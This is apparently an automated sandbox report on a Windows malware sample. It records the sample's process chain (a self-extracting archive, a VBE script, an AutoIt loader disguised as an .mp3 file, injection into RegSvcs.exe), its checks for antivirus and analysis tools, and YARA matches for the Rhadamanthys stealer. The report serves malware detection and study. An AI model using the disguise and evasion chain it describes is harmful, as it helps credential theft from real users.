Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2:2k2`2j2	memstr_daa7dc4b-b
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3%3@3g3n3s3x3u3}3	memstr_4916f4e8-9
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4(474c4q4s4	memstr_755ba5ef-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5)535o5z5_5d5	memstr_3fd5f376-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6.686t6_6d6i6	memstr_41d5f798-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7,777<7a7k7	memstr_cd7fc376-c
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8f8j8	memstr_b14b01bb-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 949?9d9i9a9w9	memstr_96d03243-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :0:b:n:	memstr_188f69ff-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <"=?>[>	memstr_9e70c83f-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c6.9m9t9	memstr_ff251a10-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dc6.9m9t9	memstr_4747335c-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: =)=e=w=}=->f>	memstr_2e02eeca-9
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: >#?5?k?	memstr_2d3ec6ae-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j0p0m0	memstr_0c8f9b87-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0(4b4	memstr_e4c49261-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5!5[5b5	memstr_2672c3eb-d
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6z6g6	memstr_36168152-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6%7,7\|7	memstr_c83ba159-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9=9h9x9	memstr_48adba1d-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :%:;:e:d:	memstr_a11c2b2a-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;c;a;	memstr_0d2ed903-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <1<m<	memstr_1519ec0f-5
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: =5=q=	memstr_035fbeab-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3$4w4l4}4	memstr_b64d1c58-9
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5p6j7h8	memstr_9d49458d-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9*=->>>	memstr_726fec3f-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9*=->>>p	memstr_f9ed3717-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !0,0<0n0	memstr_7a9f08ae-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 01h1s1{1	memstr_8c63c0b4-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2'202;2c2a2m2	memstr_ea82059f-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2d3~3	memstr_adcc4766-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 444t4	memstr_ba817732-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6d6h6q6\|6	memstr_f4151f4c-9
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :":e:	memstr_b7a6b6a3-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: )0f0v0	memstr_9171b80c-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x)0f0v0	memstr_115c0909-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2-252e2v2	memstr_c5269d81-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 717p7	memstr_747a5b53-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: =1=t=a=l=	memstr_2790d7da-5
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: =+>j>y>	memstr_b43d2b7d-6
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0_01-162z2	memstr_3a129625-6
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 343q3e3	memstr_30b94442-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6l6l6	memstr_53332acf-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6v7`7	memstr_0ebff911-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8n8z8{8	memstr_1ea5f944-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :h:o:x:a;	memstr_33d131a8-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <$<4<@<y=a=i=q=	memstr_1601f670-d
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: >%>1>	memstr_fc5144e8-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0&020^0\|0	memstr_1b6bafbf-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 171k1f1w1	memstr_a255694e-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2(2.2?2v2]2	memstr_5911da67-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3=3e3h3	memstr_8ef73320-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 344l4`4p4\|4	memstr_efcc396b-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6d7l7	memstr_cb1d3dda-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8d8q8	memstr_6df124ac-6
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 859f9	memstr_e9dd11b8-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9i:u:]:	memstr_11e162c4-1
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :#;r;z;b;	memstr_c3dedbd3-b
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: >s?{?	memstr_7996104f-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0.040i0n0	memstr_0676c604-5
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2c2o2	memstr_044416ec-c
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 313<3g3m3v3	memstr_98b2114a-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 424]4u4	memstr_cae92d35-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6#7o7{7x8	memstr_02dac5b9-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: : :(:0:9:b:j:v:^:p:{:	memstr_e2432466-5
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :*;0;	memstr_313d4601-6
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <b<k<p<u<{<	memstr_881842eb-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?&?-?3?b?i?s?]?n?u?	memstr_d90bdeff-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .090f0o0d0	memstr_af7933c1-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1$141v152c2	memstr_d688f2a7-1
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7p8\|8	memstr_fce4296b-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: : :2:n:l:v:	memstr_82fb499f-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;);3;c;	memstr_bfc9f289-9
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: >->n>s>^>r>}>	memstr_8be89a4d-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;>->n>s>^>r>}>	memstr_7874172e-2
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: >%?\?	memstr_1e2f8d13-9
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1&2o2{2	memstr_44f83123-2
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3>4&5}5	memstr_ffc599c8-2
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5 6b6i6	memstr_5fd603f3-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7$717r7	memstr_f67f3509-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9'9t9	memstr_0d443c3d-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :(:::l:^:p:	memstr_47b28fa3-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;!;3;l<	memstr_b47d0d50-6
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <;=m=	memstr_269e996b-5
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0m0c0	memstr_0248fe1c-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3\6b6	memstr_4d02dfa2-1
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0)101z4o5w5	memstr_5730548e-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736175050.000000000358B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;[<o<i?	memstr_17df5fe6-b

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003DBB02 SendInput,keybd_event,

7_2_003DBB02

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003DEBB3 mouse_event,

7_2_003DEBB3

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c qwlvpmrupf.mp3 tnlupe.mp3	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3 qwlvpmrupf.mp3 tnlupe.mp3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003D13F2 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

7_2_003D13F2

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003D1EF3 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

7_2_003D1EF3

Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007847000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.000000000113B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: qwlvpmrupf.mp3, 00000007.00000003.1947990948.00000000010A2000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947073721.0000000001097000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947564822.000000000109B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: qwlvpmrupf.mp3, qwlvpmrupf.mp3.exe	Binary or memory string: Shell_TrayWnd
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.1992063073.0000000001733000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076356702.0000000001750000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1992150517.0000000001744000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If WinGetText("Program Manager") = "0" Then
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2296018168.0000000001403000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2294257622.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerq=
Source: qwlvpmrupf.mp3, 00000007.00000003.1950739253.000000000104C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1950894323.0000000001053000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If WinGetText("Program Manager") = "0" ThenLL
Source: qwlvpmrupf.mp3, 00000007.00000003.1829676845.0000000001043000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If WinGetText("Program Manager") = "0" ThenEy

Language, Device and Operating System Detection

Yara detected Autoit Injector

Source: Yara match	File source: Process Memory Space: qwlvpmrupf.mp3 PID: 7640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwlvpmrupf.mp3.exe PID: 8072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwlvpmrupf.mp3.exe PID: 8188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qwlvpmrupf.mp3.exe PID: 4092, type: MEMORYSTR

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B26694 cpuid

0_2_00B26694

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_00B1FD34

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RegSvcs.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RegSvcs.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B2454A GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_00B2454A

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003CE5F8 GetUserNameW,

7_2_003CE5F8

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003ABF0F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

7_2_003ABF0F

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B103BE GetVersionExW,

0_2_00B103BE

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2078194158.0000000001805000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076809860.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076956481.00000000017FB000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2079848349.0000000001806000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077127799.00000000017FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: OpenWith.exe, 0000000F.00000002.2945478445.0000000004EB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tcpview.exe
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.2078194158.0000000001805000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076809860.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2076956481.00000000017FB000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2079848349.0000000001806000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.2077127799.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2294257622.00000000013E9000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2298245187.0000000001457000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2295050047.0000000001455000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2294907619.0000000001447000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000002.2301395963.0000000001458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2214116379.0000000001A34000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2214030847.0000000001A25000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2212858946.00000000019CD000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213569719.00000000019D0000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2214186237.0000000001A50000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000002.2217828434.0000000001A51000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213912161.0000000001A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVGUI.exe
Source: qwlvpmrupf.mp3, 00000007.00000003.1948331020.000000000110E000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947692153.000000000110D000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000002.1954130925.0000000001110000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947430431.0000000001109000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1951910362.000000000110E000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000002.2301475753.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: OpenWith.exe, 0000000F.00000002.2945478445.0000000004EB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Procmon.exe
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2214116379.0000000001A34000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2214030847.0000000001A25000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215974566.0000000001A38000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2212858946.00000000019CD000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2216069254.0000000001A3A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213569719.00000000019D0000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000002.2217801117.0000000001A3B000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2213912161.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000002.2301475753.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: regshot.exe

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000E.00000002.1935619525.00000000060B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2946403129.0000000005A41000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
